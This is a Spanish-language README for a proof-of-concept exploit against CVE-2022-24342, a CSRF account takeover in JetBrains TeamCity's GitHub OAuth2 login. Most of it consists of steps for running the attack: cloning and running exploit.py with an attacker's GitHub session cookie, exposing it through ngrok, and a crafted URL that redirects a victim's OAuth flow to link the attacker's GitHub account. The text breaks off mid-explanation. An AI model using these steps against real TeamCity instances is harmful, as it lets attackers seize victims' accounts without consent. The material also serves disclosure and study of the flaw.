
PoC para CVE-2022-24342: apropiación de cuentas mediante CSRF en la autenticación de GitHub
JetBrains TeamCity - toma de control de cuenta mediante CSRF en autenticación de GitHub (PoC)
Intente iniciar sesión con la cuenta de GitHub del atacante en la instancia de TeamCity objetivo para autorizar la aplicación de GitHub de TeamCity.
Instalar y ejecutar:
$ git clone https://github.com/yuriisanin/CVE-2022-24342
$ cd CVE-2022-24342/
$ pip3 install -r requirements.txt
$ python3 exploit.py -h
usage: exploit.py [-h] -s S [-p P]
optional arguments:
-h, --help show this help message and exit
-s S GitHub user session
-p P Uvicorn port
$ python3 exploit.py -s {attackers_github_session_cookie}
Si ejecuta el exploit en la máquina local, es posible que necesite usar Ngrok o alternativas.
$ ngrok http 8000
homepage: "http://{exploit-host}:8000"
authorization callback url: "http://{exploit-host}:8000/callback"
http://{exploit-host}:8000/exploit?target_host=http://{target-host}&gh_client_id={github_oauth_client_id}
DEMO:
TeamCity era vulnerable a la inyección de parámetros de consulta durante el flujo OAuth2, permitiendo a un atacante redirigir al usuario a una aplicación OAuth2 de GitHub arbitraria, interceptar un parámetro de estado válido y conectar una cuenta de GitHub arbitraria a la cuenta de TeamCity de la víctima.
Esto fue posible debido a los siguientes aspectos:

